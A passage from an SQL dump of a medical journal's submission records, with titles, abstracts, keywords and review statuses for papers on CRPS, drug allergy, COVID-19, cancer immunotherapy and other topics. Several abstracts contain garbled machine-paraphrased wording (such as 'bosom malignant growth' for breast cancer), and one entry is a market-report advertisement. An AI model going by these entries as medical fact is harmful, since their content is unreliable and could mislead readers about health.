arrangement of less attachment, and expanded pregnancy rate. All things considered, laparoscopic myomectomy is an actually difficult method that requires careful ability.','Myomectomy, Laparoscopic, Fibroids',2505,NULL,'2021-09-25',NULL,'Submitted',2,NULL,'2021-10-13',NULL,1,1,'1','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(10763,11341,975,0,'ipjbs-21-10763','TREATMENT OF PERIAPICAL CHRONIC PERIODONTITIS USING ANTIFUNGAL DRUGS',NULL,14,0,'','Abstract:\r\nAim\r\nThe aim of the investigation was to study some of the physicochemical properties  and clinical trials of a paste based on zinc oxide with eugenol and an antifungal  supplements  (nistatine, fluconazole and “Narine”-lyophilized lactic-oxide bacteria) for temporary filling of  canals in endodontic treatment of chronic apical periodontitis.\r\n Materials and methods\r\n A total of 74 patients were divided into 2 groups: group I included \r\n 54 patients with whom the composition of the paste was used as an antibacterial and antifungal\r\n agent zinc oxide (ZnO) antifungal preparation (nistatine, fluconazole and “Narine” lyophilized lactic-oxide bacteria, eugenol (clove oil), which was left in the root canal for 7 days, followed by filling with zinc-eugenol paste; group II included 20 patients, whose root canals were treate according to the described method, followed by filling a sealant paste based on zinc-eugenol  paste (without an antifungal component).\r\n Results\r\n The obtained results laboratory and clinical studies on show that the antifungal drugs\r\n fluconazole, nystatin, \"Narine\" have antibacterial and antifunga activity against. Taking \r\ninto account the beneficial effect on the periapical tissues and the obtained data of laboratory studies   allowed us to use the above mentioned drugs in the treatment of root canals and subsequent obturation with their introduction into the sealer. \r\nConclusion\r\n The results obtained allow us to recommend a temporary endodontic paste based on zinc oxide with eugenol and an antifungal supplements (nistatine, fluconazole and “Narine”-\r\nlyophilized lactic-oxide bacteria) for temporary filling of canals in endodontic treatment of chronic apical periodontitis as an innovative method   \r\n','',3460,NULL,'2021-09-26',NULL,'Submitted',2,NULL,'2021-10-19',NULL,1,1,'1','Can be publish',0,'','',NULL,0,0,0,NULL,0),(10768,11345,85,0,'iphspr-21-10768','Teenage girls’ mental health in the age of gender inequality and social media',NULL,3,0,'','Teenage girls’ mental health has become a much- commented topic in the news recently. Many explanations ranging from bullying, to social media and gender inequality, have been offered to explain psychological distress and self- harm in girls and young women. Data from a UK national study (Millennium Cohort Study) was used to examine 14-year-olds’ mental health and wellbeing in relation to parenting, gender and social media use. Across measures of mental health, girls fared much worse than boys, particularly in self-harming. Teenage girls appeared to have become the new ‘high risk’ group. ','Mental health, social media, gender inequality',4068,NULL,'2021-09-27',NULL,'Submitted',4,NULL,'2021-11-16',NULL,1,1,'1','Accepted the Article',0,'','',NULL,0,0,0,NULL,0),(10781,11357,73,0,'ipjnn-21-10781','Case report: The role of immobilization and physical therapy in the treatment and prevention of Complex Regional Pain Syndrome',NULL,2,0,'','Case Report: The role of mobilization and physical therapy in the treatment and prevention of Complex Regional Pain Syndrome\r\n\r\nHemanth Rao, MD, Milaan Shah and Krish Kashyap\r\n\r\nIntroduction\r\n\r\nComplex regional pain syndrome (CRPS) is a chronic, debilitating pain condition thought to be caused by heightened sympathetic nervous system activation in response to an injury1. CRPS can present with features including pain that is out of proportion to the initial injury or trauma, skin and nail changes, redness, discoloration, and edema of the affected extremity. CRPS is a difficult disease to treat due to a lack of understanding of its cause and predisposing factors. \r\n\r\nCase Report\r\n\r\nThe patient is a 44-year-old woman who presented to our neurology clinic with complaints of severe ongoing pain in her right ankle and lower leg associated with swelling, redness, and skin changes. She developed the symptoms following surgery to repair a ruptured Achilles tendon that was then managed with immobilization for eight weeks followed by physical therapy. Her exam was significant for allodynia, hyperesthesia, and vasomotor changes in the R ankle and lower leg, and she was diagnosed with early CRPS 1. The patient was treated with sympathetic nerve blockade, a total of 2400 mg of gabapentin per day, TENS unit, and aggressive physical therapy. The physical therapy involved treatment four times a week for 6 months with emphasis on desensitization with varying textures and increased weight-bearing activity. Physical therapy also included massages using lymphedema techniques for skin stretching, along with active and passive range of motion exercises. She had complete resolution of her symptoms.\r\n\r\nDiscussion\r\n\r\nThis case report and literature review emphasizes the key role of aggressive physical therapy, rather than immediate immobilization, in the treatment and possible prevention of CRPS. Physical therapy has been demonstrated to be effective as a treatment of complex regional pain syndrome if started early after disease onset (within 6 months)2. Immobilization may contribute to the disease process, as a previous study has shown that immobilization alone, without a previous underlying injury, can elicit a constellation of symptoms similar to CRPS3.  Furthermore, a retrospective case review of 134 patients with CRPS found that 47% of those individuals had a history of physician prescribed immobilization4. Lastly, immediate use of passive motion following supraspinatus tendon repair has been reported to reduce the incidence of CRPS when compared to those patients treated with immediate immobilization5.  While it is known that starting physical therapy early in the course of CRPS may help to reduce disability and pain and improve functional status, we believe that further study on the benefit of immediate passive range of movement exercises in reducing the incidence of CRPS and aggressive physical therapy for 6 months or longer as a treatment for chronic CRPS is warranted.\r\n\r\nReferences\r\n1.	Vogel T, Gradl G, Ockert B, et al. Sympathetic dysfunction in long-term complex regional pain syndrome. Clin J Pain. 2010;26:128–131.\r\n2.	Schwartzman RJ, Erwin KL, Alexander GM. The natural history of complex regional pain syndrome. Clin J Pain. 2009;25:273–280.\r\n3.	Terkelsen AJ, Bach FW, Jensen TS. Experimental forearm immobilization in humans induces cold and mechanical hyperalgesia. Anesthesiology. 2008;109:297-307.\r\n4.	Allen G, Galer BS, Schwartz L. Epidemiology of complex regional pain syndrome: a retrospective chart review of 134 patients. Pain. 1999;80:539–544.\r\n5.	J. Arndt, P. Clavert, P. Mielcarek, J. Bouchaib, N. Meyer, J.F. Kempf, et al. Immediate passive motion versus immobilization after endoscopic supraspinatus tendon repair: a prospective randomized study. Orthop Traumatol Surg Res. 2012;98:131-138. \r\n\r\n\r\n','Complex regional pain syndrome, physical therapy, factors in causation and prevention ',3970,NULL,'2021-09-27',NULL,'Submitted',16,NULL,'2021-12-10',NULL,1,1,'0','Accept',0,'','',NULL,0,0,0,NULL,0),(10783,11359,45,0,'iphsj-21-10783','A REVIEW ON CORONARY ARTERY DISEASE',NULL,3,0,'','Heart disease is most common disease occurred in general population in these days according to the research work. Coronary heart disease is disease occurred in population as increase in the upcoming scenario due to junk food intake containing high consumption of highly lipid and bad cholesterol by the major percentage of the population. The main factors of the highly rising CAD are malnutrition, high salt intake, not having proper balance diet, consumption of alcohol, not exercising regularly, etc. The medical management’s ambition is to spread awareness to the public regarding CAD.  The CAD various prevention are some as regularly exercising, yoga asana, eating healthy food.CAD is one of the most common reason for death of people. For spreading knowledge and awareness regarding to CAD this article explores information of the CAD like different types of CAD, pathophysiology, prevention and treatment.\r\n','Heart Disease, Coronary Artery Disease (CAD), Athereogenesis, Inflammation, LDL, HDL, Athereogenesis Plaque.',685,NULL,'2021-09-28',NULL,'Submitted',16,NULL,'2021-10-26',NULL,1,1,'1','Accepted',0,'','',NULL,0,0,0,NULL,0),(10799,11367,86,0,'ipaom-21-10799','Effects of EEG signal to Parkinson disease through deep recurrent neural network.',NULL,14,0,'','This paper introduced a novel computer-aided diagnosis method to detect the Parkinson Disease (PD). A novel Pooling-based Deep Recurrent Neural Network (PDRNN) is used in this proposed algorithm as an efficient deep learning method. Parkinson disease gradually degrade the functionality of the brain. Because of its relevance to the abnormality of the brain, EEG (denoting the electroencephalogram) signal is used for early detection of this disease. The electroencephalogram signals of 20 Parkinson and 20 healthy cases are studied in this paper. Also, a PDRNN learning method is applied on the used dataset for tackling the demand for the traditional feature presentation step. The proposed method of this paper could obtain proper precision, sensitivity and specificity (88.31, 84.84 and 91.81 percent, respectively). In addition, our derived classification method has potential to be employed for high populations prior to be installed for clinical applications.','Parkinson disease, Deep learning, PDRNN neural network, computer-aided diagnosis method, EEG signal',2890,NULL,'2021-09-28',NULL,'Submitted',2,NULL,'2021-10-21',NULL,1,1,'1','Accept',0,NULL,NULL,NULL,0,0,0,NULL,0),(10802,11370,91,0,'ijddr-21-10802','A CASE REPORT ON ALLERGIC REACTION TO PANTAPRAZOLE',NULL,2,0,'','Pantoprazole is a proton pump inhibitor and acts by blocking the gastric pump H+, K-ATPase to inhibit gastric acid secretion. Hypersensitivity reactions due to pantoprazole can be both immediate and delayed hypersensitivity reactions but sometimes it can be a life-threatening anaphylactic reaction. A 64-year female was admitted to the private ward of Shri Mahant Indiresh hospital with chief complaints of 6-7 episodes of vomiting and abdominal pain. Various laboratory tests were performed and the diagnosis was given. After the administration of Injection pantop, 40 mg (pantoprazole) patient developed rashes, itching, vomiting, burning sensation in whole body, restlessness, fever, and chills immediately within few hours. Hypersensitivity reaction to pantoprazole occurred due to Type-1 hypersensitivity reaction. Proton pump inhibitors like pantoprazole decrease gastric pH which increases bacterial growth in the oral cavity and upper GIT. To check on such ADR’s health care professionals should keep an eye on the medication use and its effects and should be cautious while prescribing pantoprazole. Pharmacists should educate the patients regarding possible hypersensitivity reactions from PPIs and how to take these medications to avoid any serious adverse drug reaction','PTCA- Percutanious transluminal coronary angioplasty, CBC- Complete Blood Count, RFT- Renal Function tests, LFT- Liver function tests, Hb- Hemoglobin, TLC- Total Leucocyte count, PCV- Packed cell volume, RBC- Red Blood Cells, RDW- Red cell distribution width, SGOT- Serum Glutamic oxaloacetic transaminases, ALP- Alkaline phosphatase, GGT- Gamma Glutamyl transferase, PR- Pulse rate, RR- Respiratory rate, BP- Blood Pressure, Temp- Temperature, SpO2-Oxygen saturation.\r\n',1325,NULL,'2021-09-28',NULL,'Submitted',4,NULL,'2021-10-12',NULL,1,1,'1',NULL,0,'','',NULL,0,0,0,NULL,0),(10809,11379,85,0,'iphspr-21-10809','Substance use coercion as a barrier to help-seeking among intimate partner violence survivors with opioid use disorder',NULL,19,0,'','While intimate partner violence (IPV) is common among people with opioid use disorder (OUD), the role of abusive partners has been under-recognized as a barrier to OUD treatment and recovery. Substance use coercion, or ways that abusive partners leverage a survivor’s substance use against them as a tactic of power and control, is both highly prevalent and presents unique challenges to accessing services or achieving recovery. This includes threats to report a survivor’s substance use to law enforcement, the immigration system, or the child welfare system as a way to maintain control within the relationship. Because opioids are largely illicit within the United States, these threats are deeply coercive and increase the risk of criminalization for survivors, which creates additional barriers to help-seeking. These findings underscore the need for integrated IPV, OUD, and recovery support services; policy changes including to state-level substance use laws that consider substance use to be a form of child abuse and endangerment; and for a coordinated public health response to substance use coercion as a critical factor driving morbidity and mortality within the opioid epidemic. ','global health, health care, health system',4068,NULL,'2021-09-29',NULL,'Submitted',2,NULL,'2021-11-29',NULL,1,1,'1','Accepted the Article',0,'','',NULL,0,0,0,NULL,0),(10813,11383,251,0,'ipacm-21-10813','Microbial amensalism: a natural process for the revival of antibiotics',NULL,25,0,'','Pathogenic microorganisms are developing antibiotic resistance against lifesaving drugs. Many pathogenic bacteria have now developed multi-resistance that is a significant concern over the failure of antibiotics. There is a pressing need to work on a natural amensalism strategy to cope with these resistant pathogenic strains. Pathogenic microorganisms are developing resistance against old antibiotics with the help of evolutionary mechanisms, in the same way, the microorganism that previously produced antibiotics can also upgrade their defensive antibiotic compound through evolutionary mechanisms. Microbial amensalism is a negative ecological relation that can be a pleasing strategy to upgrade failed antibiotics. Re-culturing of antibiotics producing microorganisms with antibiotic-resistant pathogenic strains can produce upgraded antibiotic compounds against these resistant strains. ','Amensalism, Antibiotics resistance, Staphylococcus aureus, superbugs, MRSA, VRSA',2876,NULL,'2021-09-29',NULL,'Submitted',2,NULL,'2021-11-12',NULL,1,1,'1','   ',0,'','',NULL,0,0,0,NULL,0),(10815,11385,45,0,'iphsj-21-10815','PSYCHOLOGICAL IMPACT OF COVID-19 ON THE MENTAL HEALTH IN FAMILIES ',NULL,14,0,'','Background of the study\r\nThe emergency of coronavirus disease 2019 (COVID-19) outbreak caused by severe acute respiratory syndrome coronavirus 2 (SARS-CoV-2) infection in Uganda and Lira city in particular, a situation of socio-economic crisis and psychological distress rapidly occurred worldwide. Common psychological reactions related to the mass quarantine which was imposed in order to attenuate the transmission of Covid-19 worldwide but specifically in Uganda on 31 march 2020 to contain the spread of Covid-19 in the community causes generalized fear and pervasive community anxiety which are typically associated with disease outbreaks, and increased with the escalation of new cases together with inadequate, anxiety-provoking information which was provided by media especially every day by updating the community with the number of daily cases , deaths and the contacts to the infected people. \r\nMethodology. \r\nThe study adopted the descriptive cross-sectional design which explored the qualitative data collection methods using Focus group discussion. The interview guide was used which enabled the researcher to gained deeper understanding of the subject matter.\r\nResults:\r\nAccording to the data collected and analyzed reveals that, majority of the people affected psychologically due to Covid-19 infections and some of the measures enforced by the government to contain the outbreak, the most identified psychological problem includes emotional disturbance, depression, stress, mood alteration, irritability, insomnia, posttraumatic stress symptoms, anger and emotional exhaustion among those quarantine in different families. The psychological effects due to Covid-19 infection identified according to the study includes Frustration and boredom Distress, boredom, social isolation and frustration are directly related to confinement, abnormally reduced social/physical contact with others, and loss of usual habits.\r\nConclusion. \r\nImplementing community-based strategies to support resilience and psychologically vulnerable individuals during the COVID-19 crisis is fundamental for any community to ensure quick recovery especially among community affected either due to infection or death of their beloved one as the results of covid-19. The psychological impact of fear and anxiety induced by the rapid spread of pandemic was identified and needs to be clearly recognized as a public health priority for both authorities and policy makers who should rapidly adopt clear behavioral strategies to reduce the burden of disease and the dramatic mental health consequences of this outbreak as identified in this study\r\n','',4825,NULL,'2021-09-29',NULL,'Submitted',2,NULL,'2021-10-26',NULL,1,1,'0','Accepted',0,'','',NULL,0,0,0,NULL,0),(10816,11386,45,0,'iphsj-21-10816','“Effectiveness of structured teaching programme on knowledge and attitude towards HIV/AIDS among school going students in selected school, Kolkata.”',NULL,14,0,'','Background: In the current times,HIV/AIDS is the most dreadful disease affecting human lives. The worst being that there is no cure or vaccine against it. \r\nMethods: The study is based on context, input,process and product (CIPP) model. The sample consists of 25 school going students who are studying in class 8. This sample was chosen using non- probability convenience sampling technique. The tool used for data collection was self- structured questionnaire. Result: The study showed that the mean post test knowledge score (12.12) was significantly higher than mean pre test knowledge score (6.68) and mean post test attitude score (13.88) was also significantly higher than mean pre test attitude score (12.84). Furthermore, effectiveness of the structured teaching programme (STP) was found and there was no association found between pre test knowledge and demographic variables (age, gender, family income,source of information). No association found between pre test attitude and demographic variables.\r\nConclusion: The results showed the effectiveness of structured teaching programme regarding knowledge and attitude among school going students. It needs to be provided to the school going students,so that they can safeguard themselves from HIV and other STDs/STIs. Also awareness programmes should be conducted at all levels targeting whole population groups to decrease its incidence. Lastly,mass media should be involved actively in increasing awareness about HIV/AIDS amongst the public.\r\n','Keywords: HIV/AIDS, STD/STIs, structured teaching programme\r\n',4962,NULL,'2021-09-29',NULL,'Submitted',2,NULL,'2021-10-26',NULL,1,1,'0','Accepted',0,'','',NULL,0,0,0,NULL,0),(10822,11392,73,0,'ipjnn-21-10822','Tumefactive Demyelinating Lesions in Multiple Sclerosis: role of Magnetic Resonance Spectroscopy (MRS)',NULL,14,0,'','Tumefactive demyelinating lesions (TDL) are characterized by large demyelinating lesions that frequently mimic intracranial neoplasm or abscess. Proton Magnetic Resonance Spectroscopy (MRS) imaging is a potentially exciting tool to help in the diagnosis. Literature reports, studying the potential utility of MRS in differentiating TDLs from neoplasms, have focused on the quantification of biochemical metabolites such as N-acetyl aspartate (NAA), Choline (Cho), Creatine (Cr), Lactate (Lac), mobile Lipids (Lip) and Glutamate (Glx). We hereby report MRS findings of three patients with tumefactive lesions, i.e. elevated Choline and Lactate (except patient 3) peaks with reduced NAA peaks, consistent with demyelination. Based on the improvements in clinical and imaging outcomes during subsequent follow ups confirming Multiple Sclerosis (MS), we propose that elevation of Lactate and Choline peaks together with reduction of NAA peak on MRS study together with clinical picture may serve as an important non-invasive tool to differentiate TDL from other radiological correlates.','tumefactive lesions\r\nmultiple sclerosis\r\nmagnetic Resonance imaging\r\n',326,NULL,'2021-09-29',NULL,'Submitted',2,NULL,'2021-10-29',NULL,1,1,'0','Accept',0,'','',NULL,0,0,0,NULL,0),(10836,11401,91,0,'ijddr-21-10836','Medication Error- Detection and Prevention',NULL,23,0,'','Medication error cannot be avoided but can be prevented by close observation and careful means of communication. \r\nThe initial steps of detection can be analyzed by the risk benefit ratio that the drug or therapy provides. From this we can access the prevention techniques. \r\nThis image article covers the basic steps of detection and prevention depicted in an abstract manner so as to spread awareness about this cause amongst healthcare professions in a friendly manner.  ','pharmacovigilance, drug development, ADR reporting, drug prevention, drug detection.',4566,NULL,'2021-09-29',NULL,'Submitted',14,NULL,'2021-11-09',NULL,1,1,'0','   ',0,'','',NULL,0,0,0,NULL,0),(10838,11403,86,0,'ipaom-21-10838','MATERNAL SUICIDE CONTINUES TO REACH FRIGHTENING RATES: SYSTEMATIC REVIEW',NULL,15,0,'','INTRODUCTION: Maternal death by suicide raises serious perplexities. The ICD-10 classifies maternal suicide as an indirect form of maternal death. Due to this current mis-classification, a classificatory consensus of maternal suicide as a direct form of maternal death is urgent. \r\nOBJECTIVE: Analyze the psychological  that permeate the phenomenon of maternal suicide, to define the profile of mothers in the postpartum period and pregnant women who commit suicide, with the purpose of elucidating ways of preventing maternal sui-cide.\r\nMETHOD: A systematic review was made following the PRISMA protocol (Preferred Reporting Items for Systematic Reviews and Meta-Analysis). \r\nRESULTS: Twenty-one studies reported the urgent need to implement interventions in order to prevent or reduce mental health problems caused by mothers and pregnant wom-en who commit suicide. Twenty studies demonstrate the need for interventions to organi-zational adjustments, especially related to the emotional conflicts involved suicide and maternity.\r\nCONCLUSION: Maternal suicide is mainly caused by severe psychiatric disorders, however, higher suicide rates are seen due to psychosocial factors, such as poor familial support and domestic violence, illegal substance abuse and alcoholism, history of sexual or physical violence, racial oppression, economic instability, unwanted pregnancy, diffi-culty in accessing intentional abortion, and trauma related to past maternity experiences.\r\n','Maternal death; Suicide; Mental disorders; Pregnancy; Postpartum period',2890,NULL,'2021-09-29',NULL,'Submitted',2,NULL,'2021-10-13',NULL,1,1,'0','Accept',0,'','',NULL,0,0,0,NULL,0),(10840,11405,85,0,'iphspr-21-10840','Health system factors associated with patient driven referral for health services among outpatients at the County Referral Hospital in Nyeri, Kenya',NULL,14,0,'','Research notes that a functional referral process in chain of health service delivery influences access, quality, and health outcomes. Data in Nyeri County shows that clients bypass the primary level facilities and present themselves to referral facilities, thus placing huge demands on tertiary facilities. This study sought to establish health system factors associated with patient driven referral for healthcare services at the County Referral Hospital (CRH) during Universal Health Coverage (UHC) implementation. We conducted a descriptive cross-sectional survey targeting patients and health care professionals at the CRH in Nyeri. Administration of structured questionnaires and key informant interviews were carried out to acquire qualitative and quantitative data. Purposive sampling was used to pick key informant respondents while patient respondents were picked by systematic random sampling without replacement. We calculated a sample size of 402 respondents (proportionate to the population of patients seeking outpatient services). Data was analyzed using SPSS version 23 and MS excel. Chi-Square tests done at 95% confidence interval determined the association, while thematic analysis was applied for qualitative data. A total of 384 respondents participated in the study. The study found that majority of respondents were female, young, self-employed, had low income and lived in rural areas. 187(48.7%) of the respondents said they were not satisfied with health care services they received at a lower-level facility. Chi-square results showed that distance to health facility (p=0.000), infrastructure (p=0.004) and general satisfaction (p=0.000) were significant. Descriptive results showed that respondents were dissatisfied with waiting time and patient-doctor relationship lack of medicine and lack of information. The study therefore concluded that patient driven referral for health care services among outpatients was predicted by health system factors. The findings of this study therefore call for strengthening of the health systems, county governments to ensure that primary health facilities are adequately staffed and well equipped especially with medicines to improve on satisfaction and improved utilization of services in these lower-level facilities.\r\n\r\n\r\n','Key words: Patient referral, health services, Nyeri, Kenya',2141,NULL,'2021-09-30',NULL,'Submitted',4,NULL,'2021-12-21',NULL,1,1,'0','Accepted the Article',0,'','',NULL,0,0,0,NULL,0),(10859,11423,975,0,'ipjbs-21-10859','Is Bio-medicine Function Requires Great Antibody Diversity?',NULL,3,2,'Health and disease','Antibody molecules are essentially required to carry out two principal roles in immune defense to recognize and bind to foreign material (antigen). The host needs to be able to recognize a wide variety of different structures it has been estimated that a human being is capable of producing antibodies against more than 10\' different molecular structures. This is described as antibody diversity. To trigger the elimination of foreign material. In molecular terms this involves the binding of certain molecules (effector molecules) to antibody-coated foreign material to trigger complex elimination mechanisms, e.g. the complement system of proteins, phagocytosis by cells like neutrophils and macrophages. The effector systems are generally triggered only by antibody molecules clustered to-gather as on a foreign cell surface and not by the free unliganded antibodies.','Antibody-coated, phagocytosis',4089,NULL,'2021-09-30',NULL,'Submitted',19,NULL,'2021-10-05',NULL,1,1,'1',NULL,0,NULL,NULL,NULL,0,4,0,NULL,0),(10865,11427,326,0,'IPJUS-21-10865','THYROID STIMULATING HORMONE CORRELATION WITH  ANALYSIS OF FASTING BILE AND STONE IN GALLSTONE  DISEASES',NULL,14,0,'','BACKGROUND AND AIMS \r\nTo correlate serum TSH (Thyroid stimulating hormone) levels with \r\nfasting bile cholesterol and TSH levels and with type of stone in gallstone \r\ndisease. \r\nMATERIALS AND METHODS \r\nA cross sectional study was conducted from October 2016 to August \r\n2018 in the hospitals attached with Kasturba medical college, Mangalore. \r\nA detailed pro forma was developed to record information regarding \r\npatients hospital details, age, sex, routine blood investigations, special \r\ninvestigations and imaging study. \r\nRESULTS \r\nStudy conducted in 48 patients (22 male and 26 female) with diagnosed \r\ngallstone disease. \r\nA 23% of patients have elevated serum TSH who never had history of \r\nthyroid disease. Though maximum number of those with elevated TSH \r\nwere in the 31-40 years category (5 out of 20), the higher proportion \r\nwas seen in the 41-50 years age group (42.9%, that is; 3 out of total 7). \r\nA significant 33% of patients had elevated fasting bile TSH levels with \r\nfemale preponderance, even higher than the number of those with \r\nelevated serum TSH level. The number of patients with elevated bile TSH \r\nfell in the 31-40 years age group (8 out of 20), the higher proportion \r\nwas seen in the 41-50 years age group (57.1%, that is, 4 out of 7). \r\nCONCLUSION \r\nA statistically significant independent relationship between serum TSH \r\nand fasting bile TSH were established with female patients of gallstone \r\ndisease. Subclinical hypothyroidism indeed plays a significant role in \r\ncholesterol cholelithiasis, especially in women. \r\n','Key Words: Gallstone, Fasting bile TSH, hypothyroidism.',2505,NULL,'2021-09-30',NULL,'Submitted',2,NULL,'2021-10-20',NULL,1,1,'0','Accepted',0,'','',NULL,0,0,0,NULL,0),(10871,11432,959,0,'ipacr-21-10871','STUDY OF ORGANOIDS AS BREAST CANCER',NULL,17,2,'','Having been distinguished for quite a long time, bosom malignant growth actually stays one of the main sources of death in ladies. Inside the United States of America (USA) alone, it is assessed that more than 60,000 ladies would have grown new instances of harmful bosom malignant growth in 2017 alone; in this way, calling a consideration for the advancement of a solid and successful bosom malignancy model for drug disclosure to battle the infection or diagnostics to foresee the movement of the sickness. Current bosom malignancy models include use of 2D cell societies and in vivo models which don\'t reiterate the whole microenvironment of cancer development in human cases, and notwithstanding some cell lines being gotten from patients\' own cancer cells, 2D cell societies are heterogeneous and do not have the cell-cell association fundamental for ordinary growth development in the human body. Numerous restrictions of these traditional models can be settled utilizing novel 3D organoid societies created from growths of patients themselves or other reasonable sources.','organoids; malignancy; chemotherapeutic medications; estrogen receptor',3142,NULL,'2021-10-01',NULL,'Submitted',19,NULL,'2021-10-05',NULL,1,1,'1',NULL,0,NULL,NULL,NULL,0,4,0,NULL,0),(10872,11433,996,0,'ipar-21-10872','Sterilization Wraps Market Size Share Global Trend Technological Advancements and Geographical Overview till 2027',NULL,14,0,'','The increasing cases of hospital-acquired infections are helping the global sterilization wraps market grow remarkably in the coming years, as projected by Fortune Business Insights in their new study. The study is titled,  Sterilization Wraps Market Global Market Analysis, Insights, and Forecasts, 2019 – 2026.” According to the study, increasing incidence of infections post surgeries is a major factor boosting the market. \r\n\r\nFortune Business Insights foresees the hospital\'s segments in end users to emerge dominant in the global sterilization wraps market. This is owing to the increasing number of patients worldwide and the need to provide adequate medical care. \r\n\r\nRequest Sample PDF:\r\nhttps://www.fortunebusinessinsights.com/enquiry/request-sample-pdf/sterilization-wraps-market-100281','Sterilization Wraps Market , Sterilization Wraps Market  share, Sterilization Wraps Market  size,',5096,NULL,'2021-10-01',NULL,'Submitted',4,NULL,'2022-08-02',NULL,1,1,'1',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(10873,11434,45,0,'iphsj-21-10873','The Effect of Health-Related Behaviors on Income in China: A Panel Data Analysis',NULL,14,0,'','Understanding the interaction between habits and income can be an efficient way to economically improve income and inform future policy, both public and private. This paper serves to figure out the effectiveness of health-related income factors and gender differences in these factors using regressions, interaction effects and fixed effect model estimations. I used the nationally representative China Health and Nutrition Survey (CHNS) for 2000, 2004, 2006, 2009, 2011 and 2015.\r\nResults show clear effect of these factors, with that smoking can negatively associate with income and consumption of tea, coffee, alcohol, and exercising having a positive association. Also, gender differences are tested and interpreted. Extensions include discussing the pathways through which these factors influence income, urban residence’s interaction effect with these factors and yearly differences.\r\nMain findings are concluded for future possible uses, as policy makers for women’s economical empowerment programs may refer to the statistics and find the area that return the most such as drinking tea and quitting smoking.','',686,NULL,'2021-10-01',NULL,'Submitted',16,NULL,'2021-12-09',NULL,1,1,'1','Accepted',0,'','',NULL,0,0,0,NULL,0),(10881,11441,45,0,'iphsj-21-10881','TRACHEOSTOMY IN PATIENTS WITH COVID-19: CURRENT RECOMMENDATIONS',NULL,15,2,'COVID 19','Background: COVID-19 continues to present uncertainty regarding the possibilities of treatment in critically ill patients, due to the uncontrolled spread of the pandemic, intensivists and acute care surgeons have had difficulties treating patients with COVID-19 who are critically ill; Tracheostomy is a common procedure in these patients who require a prolonged period of mechanical ventilation and there are various recommendations and precautions that must be taken when it is necessary to implement it.\r\nMethodology: A narrative review was carried out through various databases in August 2021, the search and selection of articles was carried out in journals indexed in first and second languages. Keywords: Tracheostomy, COVID-19, surgical treatment, recommendations.\r\nResults: Currently, due to the high morbidity rate due to the COVID-19 pandemic, many of the most serious patients have required vital interventions to prolong their lives, among which the tracheostomy helps to reduce the incidence of ventilator-acquired pneumonia, reducing the mortality, duration of mechanical ventilation, ICU stay, sedation and laryngotracheal stenosis in survivors, this procedure, its due recommendations, provides a faster and more effective recovery.\r\nConclusions: Tracheostomy is a procedure that is highly described in the literature, with precise and well-defined indications for its performance; At the time of carrying it out, we must have special measures in case it is carried out in patients with COVID-19.\r\n','Tracheostomy, COVID-19, surgical treatment, recommendations_',4825,NULL,'2021-10-01',NULL,'Submitted',19,NULL,'2021-12-09',NULL,1,1,'1',NULL,0,'','',NULL,0,4,0,NULL,0),(10882,11442,975,0,'ipjbs-21-10882','Admissions of acute coronary syndrome among patients during early phase and after one year of coronavirus disease 2019 (COVID-19) pandemic in Gaza',NULL,14,0,'','Background: What is the nature and duration of changes to admissions for different types of acute coronary syndrome (ACS), among patients during early stage and after one year of coronavirus disease 2019 (COVID-19) pandemic in Gaza?\r\nMethods: The investigators analyzed data on hospital admissions in Gaza for types of ACS from August 25-2019, to October 1, 2019, that were recorded in the Alshifa Hospital Cardiology Department Service Admitted Patient Care database. Admissions were classified as ST-elevation myocardial infarction (STEMI) and non- ST elevation ACS (non-STEACS) and we calculate the diagnostic and percutaneous coronary intervention (PCI) rate and we compared to the same time period in 2020 and 2021.\r\nResults: Hospital admissions for ACS in 2019 was 99 patients declined to 40 patient\'s admission in 2020 and increased to 175 patients in 2021 in this time period. In 2020 a reduction of total ACS admission was 60%. During the period of declining admissions, there were reductions in the number of admissions for all types of ACS, including both STEMI and NON-STEACS, with a percent reduction of 64 % NON-STEACS in parallel, reductions were recorded in the STEMI percent reduction by 46 %, the mortality rate for STEMI patient was 4% in 2019 and 21% in 2020. The total ACS admission in 2021 was 175 patients, increases compared with 2019 by 77% . The increase rate in non-STEMI patient was 68 and increases rate in STEMI was 100% compared with 2019. the mortality rate for STEMI patient was 4% in 2019 and 2021.\r\nConclusions: We found that significant reduction in the number of patients with ACS who were admitted to the hospital but increase in mortality rate in STEMI in 2020 (during the first month of pandemic) , and significant increases of ACS admission rate  with the same mortality rate of STEMI patients in 2021 ( one year after pandemic) compared with 2019 in Gaza.\r\n\r\n','Key words: ACS admission, coronavirus (Covid-19) pandemic.',4873,NULL,'2021-10-02',NULL,'Submitted',2,NULL,'2021-10-19',NULL,1,1,'1','Can be publish',0,'','',NULL,0,0,0,NULL,0),(10887,11448,277,0,NULL,'RUPTURA DE MULTIPLES ANEURISMAS CEREBRALES ASOCIADO A SINDROME DE SJÖGREN SECUNDARIO. REPORTE DE UN CASO',NULL,2,0,'','We present a case of a 42-year-old patient with a history of secondary Sjögren\'s syndrome, primary rheumatoid arthritis, endometriosis, and arterial hypertension, who presented with a vascular headache with radiological studies suggestive of aneurysm of the right internal carotid artery and artery. right middle brain. Subsequently, endovascular treatment of the right middle cerebral artery bifurcation aneurysm was performed with a flow diversion stent and endovascular treatment of the right V4 segment dissecant with Coils and a right vertebral artery balloon. The next hour after surgery, the patient was unconscious, so a simple CT scan was ordered, which showed intracranial bleeding, so the patient was operated on with an external ventricular drain. Days later, the patient died from complications inherent to bleeding.','Sjogren\'s Syndrome, Aneurysm, Aneurysm, Ruptured, Cerebral Hemorrhage (Fuente MeSH).',5023,NULL,'2021-10-04',NULL,'Submitted',4,NULL,'2021-10-04',NULL,1,0,'1',NULL,0,'','',NULL,0,0,0,NULL,0),(10925,11476,959,0,'ipacr-21-10925','Overview of Advanced Immunotherapy in Cancer Treatment',NULL,17,0,'','In less than 10 years, around six safe assigned spot inhibitors have been upheld and are at present changing the treatment of various harm (sub) types. With the clinical evaluation of novel transport moves close (for instance oncolytic contaminations, dangerous development vaccinations, standard killer cell-intervened cytotoxicity) and mix medicines (for instance chemo/radio-immunotherapy) similarly as the ascent of novel promising focuses (for instance TIGIT, LAG-3, TIM-3), the \'immunotherapy tsunami\' won\'t end anytime sooner rather than later. Nevertheless, this fervor in the field is somewhat tempered by both the fairly low rate (<15%) of patients who show an amazing foe of harm insusceptible response and the frailty to exactly remember them. Lately, a couple of existing or secured features/limits have been shown to influence the sufficiency of immune assigned spot inhibitors. In the current review, we fundamentally look at current data with respect to perceptive biomarkers for assigned spot inhibitor-based immunotherapy, include the missing/murky associations and underline the meaning of depicting each neoplasm and its 